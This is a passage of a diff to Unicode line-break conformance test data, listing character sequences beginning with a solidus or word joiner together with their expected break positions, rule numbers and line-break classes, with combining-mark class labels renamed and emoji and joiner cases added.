-× 002F × 0308 × 0020 ÷ 2024 ÷ # × [0.3] SOLIDUS (SY) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) ÷ [18.0] ONE DOT LEADER (IN) ÷ [0.3]
+× 002F × 0308 ÷ 2024 ÷ # × [0.3] SOLIDUS (SY) × [9.0] COMBINING DIAERESIS (CM1_CM) ÷ [999.0] ONE DOT LEADER (IN) ÷ [0.3]
+× 002F × 0308 × 0020 ÷ 2024 ÷ # × [0.3] SOLIDUS (SY) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] ONE DOT LEADER (IN) ÷ [0.3]
× 002F × 002C ÷ # × [0.3] SOLIDUS (SY) × [13.02] COMMA (IS) ÷ [0.3]
× 002F × 0020 × 002C ÷ # × [0.3] SOLIDUS (SY) × [7.01] SPACE (SP) × [13.02] COMMA (IS) ÷ [0.3]
-× 002F × 0308 × 002C ÷ # × [0.3] SOLIDUS (SY) × [9.0] COMBINING DIAERESIS (CM) × [13.03] COMMA (IS) ÷ [0.3]
-× 002F × 0308 × 0020 × 002C ÷ # × [0.3] SOLIDUS (SY) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) × [13.02] COMMA (IS) ÷ [0.3]
+× 002F × 0308 × 002C ÷ # × [0.3] SOLIDUS (SY) × [9.0] COMBINING DIAERESIS (CM1_CM) × [13.03] COMMA (IS) ÷ [0.3]
+× 002F × 0308 × 0020 × 002C ÷ # × [0.3] SOLIDUS (SY) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) × [13.02] COMMA (IS) ÷ [0.3]
× 002F ÷ 1100 ÷ # × [0.3] SOLIDUS (SY) ÷ [999.0] HANGUL CHOSEONG KIYEOK (JL) ÷ [0.3]
× 002F × 0020 ÷ 1100 ÷ # × [0.3] SOLIDUS (SY) × [7.01] SPACE (SP) ÷ [18.0] HANGUL CHOSEONG KIYEOK (JL) ÷ [0.3]
-× 002F × 0308 ÷ 1100 ÷ # × [0.3] SOLIDUS (SY) × [9.0] COMBINING DIAERESIS (CM) ÷ [999.0] HANGUL CHOSEONG KIYEOK (JL) ÷ [0.3]
-× 002F × 0308 × 0020 ÷ 1100 ÷ # × [0.3] SOLIDUS (SY) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) ÷ [18.0] HANGUL CHOSEONG KIYEOK (JL) ÷ [0.3]
+× 002F × 0308 ÷ 1100 ÷ # × [0.3] SOLIDUS (SY) × [9.0] COMBINING DIAERESIS (CM1_CM) ÷ [999.0] HANGUL CHOSEONG KIYEOK (JL) ÷ [0.3]
+× 002F × 0308 × 0020 ÷ 1100 ÷ # × [0.3] SOLIDUS (SY) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] HANGUL CHOSEONG KIYEOK (JL) ÷ [0.3]
× 002F ÷ 11A8 ÷ # × [0.3] SOLIDUS (SY) ÷ [999.0] HANGUL JONGSEONG KIYEOK (JT) ÷ [0.3]
× 002F × 0020 ÷ 11A8 ÷ # × [0.3] SOLIDUS (SY) × [7.01] SPACE (SP) ÷ [18.0] HANGUL JONGSEONG KIYEOK (JT) ÷ [0.3]
-× 002F × 0308 ÷ 11A8 ÷ # × [0.3] SOLIDUS (SY) × [9.0] COMBINING DIAERESIS (CM) ÷ [999.0] HANGUL JONGSEONG KIYEOK (JT) ÷ [0.3]
-× 002F × 0308 × 0020 ÷ 11A8 ÷ # × [0.3] SOLIDUS (SY) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) ÷ [18.0] HANGUL JONGSEONG KIYEOK (JT) ÷ [0.3]
+× 002F × 0308 ÷ 11A8 ÷ # × [0.3] SOLIDUS (SY) × [9.0] COMBINING DIAERESIS (CM1_CM) ÷ [999.0] HANGUL JONGSEONG KIYEOK (JT) ÷ [0.3]
+× 002F × 0308 × 0020 ÷ 11A8 ÷ # × [0.3] SOLIDUS (SY) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] HANGUL JONGSEONG KIYEOK (JT) ÷ [0.3]
× 002F ÷ 1160 ÷ # × [0.3] SOLIDUS (SY) ÷ [999.0] HANGUL JUNGSEONG FILLER (JV) ÷ [0.3]
× 002F × 0020 ÷ 1160 ÷ # × [0.3] SOLIDUS (SY) × [7.01] SPACE (SP) ÷ [18.0] HANGUL JUNGSEONG FILLER (JV) ÷ [0.3]
-× 002F × 0308 ÷ 1160 ÷ # × [0.3] SOLIDUS (SY) × [9.0] COMBINING DIAERESIS (CM) ÷ [999.0] HANGUL JUNGSEONG FILLER (JV) ÷ [0.3]
-× 002F × 0308 × 0020 ÷ 1160 ÷ # × [0.3] SOLIDUS (SY) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) ÷ [18.0] HANGUL JUNGSEONG FILLER (JV) ÷ [0.3]
+× 002F × 0308 ÷ 1160 ÷ # × [0.3] SOLIDUS (SY) × [9.0] COMBINING DIAERESIS (CM1_CM) ÷ [999.0] HANGUL JUNGSEONG FILLER (JV) ÷ [0.3]
+× 002F × 0308 × 0020 ÷ 1160 ÷ # × [0.3] SOLIDUS (SY) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] HANGUL JUNGSEONG FILLER (JV) ÷ [0.3]
× 002F × 000A ÷ # × [0.3] SOLIDUS (SY) × [6.0] <LINE FEED (LF)> (LF) ÷ [0.3]
× 002F × 0020 × 000A ÷ # × [0.3] SOLIDUS (SY) × [7.01] SPACE (SP) × [6.0] <LINE FEED (LF)> (LF) ÷ [0.3]
-× 002F × 0308 × 000A ÷ # × [0.3] SOLIDUS (SY) × [9.0] COMBINING DIAERESIS (CM) × [6.0] <LINE FEED (LF)> (LF) ÷ [0.3]
-× 002F × 0308 × 0020 × 000A ÷ # × [0.3] SOLIDUS (SY) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) × [6.0] <LINE FEED (LF)> (LF) ÷ [0.3]
+× 002F × 0308 × 000A ÷ # × [0.3] SOLIDUS (SY) × [9.0] COMBINING DIAERESIS (CM1_CM) × [6.0] <LINE FEED (LF)> (LF) ÷ [0.3]
+× 002F × 0308 × 0020 × 000A ÷ # × [0.3] SOLIDUS (SY) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) × [6.0] <LINE FEED (LF)> (LF) ÷ [0.3]
× 002F × 0085 ÷ # × [0.3] SOLIDUS (SY) × [6.0] <NEXT LINE (NEL)> (NL) ÷ [0.3]
× 002F × 0020 × 0085 ÷ # × [0.3] SOLIDUS (SY) × [7.01] SPACE (SP) × [6.0] <NEXT LINE (NEL)> (NL) ÷ [0.3]
-× 002F × 0308 × 0085 ÷ # × [0.3] SOLIDUS (SY) × [9.0] COMBINING DIAERESIS (CM) × [6.0] <NEXT LINE (NEL)> (NL) ÷ [0.3]
-× 002F × 0308 × 0020 × 0085 ÷ # × [0.3] SOLIDUS (SY) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) × [6.0] <NEXT LINE (NEL)> (NL) ÷ [0.3]
+× 002F × 0308 × 0085 ÷ # × [0.3] SOLIDUS (SY) × [9.0] COMBINING DIAERESIS (CM1_CM) × [6.0] <NEXT LINE (NEL)> (NL) ÷ [0.3]
+× 002F × 0308 × 0020 × 0085 ÷ # × [0.3] SOLIDUS (SY) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) × [6.0] <NEXT LINE (NEL)> (NL) ÷ [0.3]
× 002F × 17D6 ÷ # × [0.3] SOLIDUS (SY) × [21.03] KHMER SIGN CAMNUC PII KUUH (NS) ÷ [0.3]
× 002F × 0020 ÷ 17D6 ÷ # × [0.3] SOLIDUS (SY) × [7.01] SPACE (SP) ÷ [18.0] KHMER SIGN CAMNUC PII KUUH (NS) ÷ [0.3]
-× 002F × 0308 × 17D6 ÷ # × [0.3] SOLIDUS (SY) × [9.0] COMBINING DIAERESIS (CM) × [21.03] KHMER SIGN CAMNUC PII KUUH (NS) ÷ [0.3]
-× 002F × 0308 × 0020 ÷ 17D6 ÷ # × [0.3] SOLIDUS (SY) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) ÷ [18.0] KHMER SIGN CAMNUC PII KUUH (NS) ÷ [0.3]
+× 002F × 0308 × 17D6 ÷ # × [0.3] SOLIDUS (SY) × [9.0] COMBINING DIAERESIS (CM1_CM) × [21.03] KHMER SIGN CAMNUC PII KUUH (NS) ÷ [0.3]
+× 002F × 0308 × 0020 ÷ 17D6 ÷ # × [0.3] SOLIDUS (SY) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] KHMER SIGN CAMNUC PII KUUH (NS) ÷ [0.3]
× 002F ÷ 0030 ÷ # × [0.3] SOLIDUS (SY) ÷ [999.0] DIGIT ZERO (NU) ÷ [0.3]
× 002F × 0020 ÷ 0030 ÷ # × [0.3] SOLIDUS (SY) × [7.01] SPACE (SP) ÷ [18.0] DIGIT ZERO (NU) ÷ [0.3]
-× 002F × 0308 ÷ 0030 ÷ # × [0.3] SOLIDUS (SY) × [9.0] COMBINING DIAERESIS (CM) ÷ [999.0] DIGIT ZERO (NU) ÷ [0.3]
-× 002F × 0308 × 0020 ÷ 0030 ÷ # × [0.3] SOLIDUS (SY) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) ÷ [18.0] DIGIT ZERO (NU) ÷ [0.3]
+× 002F × 0308 ÷ 0030 ÷ # × [0.3] SOLIDUS (SY) × [9.0] COMBINING DIAERESIS (CM1_CM) ÷ [999.0] DIGIT ZERO (NU) ÷ [0.3]
+× 002F × 0308 × 0020 ÷ 0030 ÷ # × [0.3] SOLIDUS (SY) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] DIGIT ZERO (NU) ÷ [0.3]
× 002F ÷ 0028 ÷ # × [0.3] SOLIDUS (SY) ÷ [999.0] LEFT PARENTHESIS (OP) ÷ [0.3]
× 002F × 0020 ÷ 0028 ÷ # × [0.3] SOLIDUS (SY) × [7.01] SPACE (SP) ÷ [18.0] LEFT PARENTHESIS (OP) ÷ [0.3]
-× 002F × 0308 ÷ 0028 ÷ # × [0.3] SOLIDUS (SY) × [9.0] COMBINING DIAERESIS (CM) ÷ [999.0] LEFT PARENTHESIS (OP) ÷ [0.3]
-× 002F × 0308 × 0020 ÷ 0028 ÷ # × [0.3] SOLIDUS (SY) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) ÷ [18.0] LEFT PARENTHESIS (OP) ÷ [0.3]
+× 002F × 0308 ÷ 0028 ÷ # × [0.3] SOLIDUS (SY) × [9.0] COMBINING DIAERESIS (CM1_CM) ÷ [999.0] LEFT PARENTHESIS (OP) ÷ [0.3]
+× 002F × 0308 × 0020 ÷ 0028 ÷ # × [0.3] SOLIDUS (SY) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] LEFT PARENTHESIS (OP) ÷ [0.3]
× 002F ÷ 0025 ÷ # × [0.3] SOLIDUS (SY) ÷ [999.0] PERCENT SIGN (PO) ÷ [0.3]
× 002F × 0020 ÷ 0025 ÷ # × [0.3] SOLIDUS (SY) × [7.01] SPACE (SP) ÷ [18.0] PERCENT SIGN (PO) ÷ [0.3]
-× 002F × 0308 ÷ 0025 ÷ # × [0.3] SOLIDUS (SY) × [9.0] COMBINING DIAERESIS (CM) ÷ [999.0] PERCENT SIGN (PO) ÷ [0.3]
-× 002F × 0308 × 0020 ÷ 0025 ÷ # × [0.3] SOLIDUS (SY) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) ÷ [18.0] PERCENT SIGN (PO) ÷ [0.3]
+× 002F × 0308 ÷ 0025 ÷ # × [0.3] SOLIDUS (SY) × [9.0] COMBINING DIAERESIS (CM1_CM) ÷ [999.0] PERCENT SIGN (PO) ÷ [0.3]
+× 002F × 0308 × 0020 ÷ 0025 ÷ # × [0.3] SOLIDUS (SY) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] PERCENT SIGN (PO) ÷ [0.3]
× 002F ÷ 0024 ÷ # × [0.3] SOLIDUS (SY) ÷ [999.0] DOLLAR SIGN (PR) ÷ [0.3]
× 002F × 0020 ÷ 0024 ÷ # × [0.3] SOLIDUS (SY) × [7.01] SPACE (SP) ÷ [18.0] DOLLAR SIGN (PR) ÷ [0.3]
-× 002F × 0308 ÷ 0024 ÷ # × [0.3] SOLIDUS (SY) × [9.0] COMBINING DIAERESIS (CM) ÷ [999.0] DOLLAR SIGN (PR) ÷ [0.3]
-× 002F × 0308 × 0020 ÷ 0024 ÷ # × [0.3] SOLIDUS (SY) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) ÷ [18.0] DOLLAR SIGN (PR) ÷ [0.3]
+× 002F × 0308 ÷ 0024 ÷ # × [0.3] SOLIDUS (SY) × [9.0] COMBINING DIAERESIS (CM1_CM) ÷ [999.0] DOLLAR SIGN (PR) ÷ [0.3]
+× 002F × 0308 × 0020 ÷ 0024 ÷ # × [0.3] SOLIDUS (SY) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] DOLLAR SIGN (PR) ÷ [0.3]
× 002F × 0022 ÷ # × [0.3] SOLIDUS (SY) × [19.01] QUOTATION MARK (QU) ÷ [0.3]
× 002F × 0020 ÷ 0022 ÷ # × [0.3] SOLIDUS (SY) × [7.01] SPACE (SP) ÷ [18.0] QUOTATION MARK (QU) ÷ [0.3]
-× 002F × 0308 × 0022 ÷ # × [0.3] SOLIDUS (SY) × [9.0] COMBINING DIAERESIS (CM) × [19.01] QUOTATION MARK (QU) ÷ [0.3]
-× 002F × 0308 × 0020 ÷ 0022 ÷ # × [0.3] SOLIDUS (SY) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) ÷ [18.0] QUOTATION MARK (QU) ÷ [0.3]
+× 002F × 0308 × 0022 ÷ # × [0.3] SOLIDUS (SY) × [9.0] COMBINING DIAERESIS (CM1_CM) × [19.01] QUOTATION MARK (QU) ÷ [0.3]
+× 002F × 0308 × 0020 ÷ 0022 ÷ # × [0.3] SOLIDUS (SY) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] QUOTATION MARK (QU) ÷ [0.3]
× 002F × 0020 ÷ # × [0.3] SOLIDUS (SY) × [7.01] SPACE (SP) ÷ [0.3]
× 002F × 0020 × 0020 ÷ # × [0.3] SOLIDUS (SY) × [7.01] SPACE (SP) × [7.01] SPACE (SP) ÷ [0.3]
-× 002F × 0308 × 0020 ÷ # × [0.3] SOLIDUS (SY) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) ÷ [0.3]
-× 002F × 0308 × 0020 × 0020 ÷ # × [0.3] SOLIDUS (SY) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) × [7.01] SPACE (SP) ÷ [0.3]
+× 002F × 0308 × 0020 ÷ # × [0.3] SOLIDUS (SY) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [0.3]
+× 002F × 0308 × 0020 × 0020 ÷ # × [0.3] SOLIDUS (SY) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) × [7.01] SPACE (SP) ÷ [0.3]
× 002F × 002F ÷ # × [0.3] SOLIDUS (SY) × [13.02] SOLIDUS (SY) ÷ [0.3]
× 002F × 0020 × 002F ÷ # × [0.3] SOLIDUS (SY) × [7.01] SPACE (SP) × [13.02] SOLIDUS (SY) ÷ [0.3]
-× 002F × 0308 × 002F ÷ # × [0.3] SOLIDUS (SY) × [9.0] COMBINING DIAERESIS (CM) × [13.03] SOLIDUS (SY) ÷ [0.3]
-× 002F × 0308 × 0020 × 002F ÷ # × [0.3] SOLIDUS (SY) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) × [13.02] SOLIDUS (SY) ÷ [0.3]
+× 002F × 0308 × 002F ÷ # × [0.3] SOLIDUS (SY) × [9.0] COMBINING DIAERESIS (CM1_CM) × [13.03] SOLIDUS (SY) ÷ [0.3]
+× 002F × 0308 × 0020 × 002F ÷ # × [0.3] SOLIDUS (SY) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) × [13.02] SOLIDUS (SY) ÷ [0.3]
× 002F × 2060 ÷ # × [0.3] SOLIDUS (SY) × [11.01] WORD JOINER (WJ) ÷ [0.3]
× 002F × 0020 × 2060 ÷ # × [0.3] SOLIDUS (SY) × [7.01] SPACE (SP) × [11.01] WORD JOINER (WJ) ÷ [0.3]
-× 002F × 0308 × 2060 ÷ # × [0.3] SOLIDUS (SY) × [9.0] COMBINING DIAERESIS (CM) × [11.01] WORD JOINER (WJ) ÷ [0.3]
-× 002F × 0308 × 0020 × 2060 ÷ # × [0.3] SOLIDUS (SY) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) × [11.01] WORD JOINER (WJ) ÷ [0.3]
+× 002F × 0308 × 2060 ÷ # × [0.3] SOLIDUS (SY) × [9.0] COMBINING DIAERESIS (CM1_CM) × [11.01] WORD JOINER (WJ) ÷ [0.3]
+× 002F × 0308 × 0020 × 2060 ÷ # × [0.3] SOLIDUS (SY) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) × [11.01] WORD JOINER (WJ) ÷ [0.3]
× 002F × 200B ÷ # × [0.3] SOLIDUS (SY) × [7.02] ZERO WIDTH SPACE (ZW) ÷ [0.3]
× 002F × 0020 × 200B ÷ # × [0.3] SOLIDUS (SY) × [7.01] SPACE (SP) × [7.02] ZERO WIDTH SPACE (ZW) ÷ [0.3]
-× 002F × 0308 × 200B ÷ # × [0.3] SOLIDUS (SY) × [9.0] COMBINING DIAERESIS (CM) × [7.02] ZERO WIDTH SPACE (ZW) ÷ [0.3]
-× 002F × 0308 × 0020 × 200B ÷ # × [0.3] SOLIDUS (SY) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) × [7.02] ZERO WIDTH SPACE (ZW) ÷ [0.3]
+× 002F × 0308 × 200B ÷ # × [0.3] SOLIDUS (SY) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.02] ZERO WIDTH SPACE (ZW) ÷ [0.3]
+× 002F × 0308 × 0020 × 200B ÷ # × [0.3] SOLIDUS (SY) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) × [7.02] ZERO WIDTH SPACE (ZW) ÷ [0.3]
× 002F ÷ 1F1E6 ÷ # × [0.3] SOLIDUS (SY) ÷ [999.0] REGIONAL INDICATOR SYMBOL LETTER A (RI) ÷ [0.3]
× 002F × 0020 ÷ 1F1E6 ÷ # × [0.3] SOLIDUS (SY) × [7.01] SPACE (SP) ÷ [18.0] REGIONAL INDICATOR SYMBOL LETTER A (RI) ÷ [0.3]
-× 002F × 0308 ÷ 1F1E6 ÷ # × [0.3] SOLIDUS (SY) × [9.0] COMBINING DIAERESIS (CM) ÷ [999.0] REGIONAL INDICATOR SYMBOL LETTER A (RI) ÷ [0.3]
-× 002F × 0308 × 0020 ÷ 1F1E6 ÷ # × [0.3] SOLIDUS (SY) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) ÷ [18.0] REGIONAL INDICATOR SYMBOL LETTER A (RI) ÷ [0.3]
+× 002F × 0308 ÷ 1F1E6 ÷ # × [0.3] SOLIDUS (SY) × [9.0] COMBINING DIAERESIS (CM1_CM) ÷ [999.0] REGIONAL INDICATOR SYMBOL LETTER A (RI) ÷ [0.3]
+× 002F × 0308 × 0020 ÷ 1F1E6 ÷ # × [0.3] SOLIDUS (SY) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] REGIONAL INDICATOR SYMBOL LETTER A (RI) ÷ [0.3]
+× 002F ÷ 261D ÷ # × [0.3] SOLIDUS (SY) ÷ [999.0] WHITE UP POINTING INDEX (EB) ÷ [0.3]
+× 002F × 0020 ÷ 261D ÷ # × [0.3] SOLIDUS (SY) × [7.01] SPACE (SP) ÷ [18.0] WHITE UP POINTING INDEX (EB) ÷ [0.3]
+× 002F × 0308 ÷ 261D ÷ # × [0.3] SOLIDUS (SY) × [9.0] COMBINING DIAERESIS (CM1_CM) ÷ [999.0] WHITE UP POINTING INDEX (EB) ÷ [0.3]
+× 002F × 0308 × 0020 ÷ 261D ÷ # × [0.3] SOLIDUS (SY) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] WHITE UP POINTING INDEX (EB) ÷ [0.3]
+× 002F ÷ 1F3FB ÷ # × [0.3] SOLIDUS (SY) ÷ [999.0] EMOJI MODIFIER FITZPATRICK TYPE-1-2 (EM) ÷ [0.3]
+× 002F × 0020 ÷ 1F3FB ÷ # × [0.3] SOLIDUS (SY) × [7.01] SPACE (SP) ÷ [18.0] EMOJI MODIFIER FITZPATRICK TYPE-1-2 (EM) ÷ [0.3]
+× 002F × 0308 ÷ 1F3FB ÷ # × [0.3] SOLIDUS (SY) × [9.0] COMBINING DIAERESIS (CM1_CM) ÷ [999.0] EMOJI MODIFIER FITZPATRICK TYPE-1-2 (EM) ÷ [0.3]
+× 002F × 0308 × 0020 ÷ 1F3FB ÷ # × [0.3] SOLIDUS (SY) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] EMOJI MODIFIER FITZPATRICK TYPE-1-2 (EM) ÷ [0.3]
+× 002F × 0001 ÷ # × [0.3] SOLIDUS (SY) × [9.0] <START OF HEADING> (CM1_CM) ÷ [0.3]
+× 002F × 0020 ÷ 0001 ÷ # × [0.3] SOLIDUS (SY) × [7.01] SPACE (SP) ÷ [18.0] <START OF HEADING> (CM1_CM) ÷ [0.3]
+× 002F × 0308 × 0001 ÷ # × [0.3] SOLIDUS (SY) × [9.0] COMBINING DIAERESIS (CM1_CM) × [9.0] <START OF HEADING> (CM1_CM) ÷ [0.3]
+× 002F × 0308 × 0020 ÷ 0001 ÷ # × [0.3] SOLIDUS (SY) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] <START OF HEADING> (CM1_CM) ÷ [0.3]
+× 002F × 200D ÷ # × [0.3] SOLIDUS (SY) × [9.0] ZERO WIDTH JOINER (ZWJ_O_ZWJ_CM) ÷ [0.3]
+× 002F × 0020 ÷ 200D ÷ # × [0.3] SOLIDUS (SY) × [7.01] SPACE (SP) ÷ [18.0] ZERO WIDTH JOINER (ZWJ_O_ZWJ_CM) ÷ [0.3]
+× 002F × 0308 × 200D ÷ # × [0.3] SOLIDUS (SY) × [9.0] COMBINING DIAERESIS (CM1_CM) × [9.0] ZERO WIDTH JOINER (ZWJ_O_ZWJ_CM) ÷ [0.3]
+× 002F × 0308 × 0020 ÷ 200D ÷ # × [0.3] SOLIDUS (SY) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] ZERO WIDTH JOINER (ZWJ_O_ZWJ_CM) ÷ [0.3]
× 002F ÷ 00A7 ÷ # × [0.3] SOLIDUS (SY) ÷ [999.0] SECTION SIGN (AI_AL) ÷ [0.3]
× 002F × 0020 ÷ 00A7 ÷ # × [0.3] SOLIDUS (SY) × [7.01] SPACE (SP) ÷ [18.0] SECTION SIGN (AI_AL) ÷ [0.3]
-× 002F × 0308 ÷ 00A7 ÷ # × [0.3] SOLIDUS (SY) × [9.0] COMBINING DIAERESIS (CM) ÷ [999.0] SECTION SIGN (AI_AL) ÷ [0.3]
-× 002F × 0308 × 0020 ÷ 00A7 ÷ # × [0.3] SOLIDUS (SY) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) ÷ [18.0] SECTION SIGN (AI_AL) ÷ [0.3]
+× 002F × 0308 ÷ 00A7 ÷ # × [0.3] SOLIDUS (SY) × [9.0] COMBINING DIAERESIS (CM1_CM) ÷ [999.0] SECTION SIGN (AI_AL) ÷ [0.3]
+× 002F × 0308 × 0020 ÷ 00A7 ÷ # × [0.3] SOLIDUS (SY) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] SECTION SIGN (AI_AL) ÷ [0.3]
× 002F ÷ 50005 ÷ # × [0.3] SOLIDUS (SY) ÷ [999.0] <reserved-50005> (XX_AL) ÷ [0.3]
× 002F × 0020 ÷ 50005 ÷ # × [0.3] SOLIDUS (SY) × [7.01] SPACE (SP) ÷ [18.0] <reserved-50005> (XX_AL) ÷ [0.3]
-× 002F × 0308 ÷ 50005 ÷ # × [0.3] SOLIDUS (SY) × [9.0] COMBINING DIAERESIS (CM) ÷ [999.0] <reserved-50005> (XX_AL) ÷ [0.3]
-× 002F × 0308 × 0020 ÷ 50005 ÷ # × [0.3] SOLIDUS (SY) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) ÷ [18.0] <reserved-50005> (XX_AL) ÷ [0.3]
+× 002F × 0308 ÷ 50005 ÷ # × [0.3] SOLIDUS (SY) × [9.0] COMBINING DIAERESIS (CM1_CM) ÷ [999.0] <reserved-50005> (XX_AL) ÷ [0.3]
+× 002F × 0308 × 0020 ÷ 50005 ÷ # × [0.3] SOLIDUS (SY) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] <reserved-50005> (XX_AL) ÷ [0.3]
× 002F ÷ 0E01 ÷ # × [0.3] SOLIDUS (SY) ÷ [999.0] THAI CHARACTER KO KAI (SA_AL) ÷ [0.3]
× 002F × 0020 ÷ 0E01 ÷ # × [0.3] SOLIDUS (SY) × [7.01] SPACE (SP) ÷ [18.0] THAI CHARACTER KO KAI (SA_AL) ÷ [0.3]
-× 002F × 0308 ÷ 0E01 ÷ # × [0.3] SOLIDUS (SY) × [9.0] COMBINING DIAERESIS (CM) ÷ [999.0] THAI CHARACTER KO KAI (SA_AL) ÷ [0.3]
-× 002F × 0308 × 0020 ÷ 0E01 ÷ # × [0.3] SOLIDUS (SY) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) ÷ [18.0] THAI CHARACTER KO KAI (SA_AL) ÷ [0.3]
+× 002F × 0308 ÷ 0E01 ÷ # × [0.3] SOLIDUS (SY) × [9.0] COMBINING DIAERESIS (CM1_CM) ÷ [999.0] THAI CHARACTER KO KAI (SA_AL) ÷ [0.3]
+× 002F × 0308 × 0020 ÷ 0E01 ÷ # × [0.3] SOLIDUS (SY) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] THAI CHARACTER KO KAI (SA_AL) ÷ [0.3]
× 002F × 3041 ÷ # × [0.3] SOLIDUS (SY) × [21.03] HIRAGANA LETTER SMALL A (CJ_NS) ÷ [0.3]
× 002F × 0020 ÷ 3041 ÷ # × [0.3] SOLIDUS (SY) × [7.01] SPACE (SP) ÷ [18.0] HIRAGANA LETTER SMALL A (CJ_NS) ÷ [0.3]
-× 002F × 0308 × 3041 ÷ # × [0.3] SOLIDUS (SY) × [9.0] COMBINING DIAERESIS (CM) × [21.03] HIRAGANA LETTER SMALL A (CJ_NS) ÷ [0.3]
-× 002F × 0308 × 0020 ÷ 3041 ÷ # × [0.3] SOLIDUS (SY) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) ÷ [18.0] HIRAGANA LETTER SMALL A (CJ_NS) ÷ [0.3]
+× 002F × 0308 × 3041 ÷ # × [0.3] SOLIDUS (SY) × [9.0] COMBINING DIAERESIS (CM1_CM) × [21.03] HIRAGANA LETTER SMALL A (CJ_NS) ÷ [0.3]
+× 002F × 0308 × 0020 ÷ 3041 ÷ # × [0.3] SOLIDUS (SY) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] HIRAGANA LETTER SMALL A (CJ_NS) ÷ [0.3]
× 2060 × 0023 ÷ # × [0.3] WORD JOINER (WJ) × [11.02] NUMBER SIGN (AL) ÷ [0.3]
× 2060 × 0020 ÷ 0023 ÷ # × [0.3] WORD JOINER (WJ) × [7.01] SPACE (SP) ÷ [18.0] NUMBER SIGN (AL) ÷ [0.3]
-× 2060 × 0308 × 0023 ÷ # × [0.3] WORD JOINER (WJ) × [9.0] COMBINING DIAERESIS (CM) × [11.02] NUMBER SIGN (AL) ÷ [0.3]
-× 2060 × 0308 × 0020 ÷ 0023 ÷ # × [0.3] WORD JOINER (WJ) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) ÷ [18.0] NUMBER SIGN (AL) ÷ [0.3]
+× 2060 × 0308 × 0023 ÷ # × [0.3] WORD JOINER (WJ) × [9.0] COMBINING DIAERESIS (CM1_CM) × [11.02] NUMBER SIGN (AL) ÷ [0.3]
+× 2060 × 0308 × 0020 ÷ 0023 ÷ # × [0.3] WORD JOINER (WJ) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] NUMBER SIGN (AL) ÷ [0.3]
× 2060 × 2014 ÷ # × [0.3] WORD JOINER (WJ) × [11.02] EM DASH (B2) ÷ [0.3]
× 2060 × 0020 ÷ 2014 ÷ # × [0.3] WORD JOINER (WJ) × [7.01] SPACE (SP) ÷ [18.0] EM DASH (B2) ÷ [0.3]
-× 2060 × 0308 × 2014 ÷ # × [0.3] WORD JOINER (WJ) × [9.0] COMBINING DIAERESIS (CM) × [11.02] EM DASH (B2) ÷ [0.3]
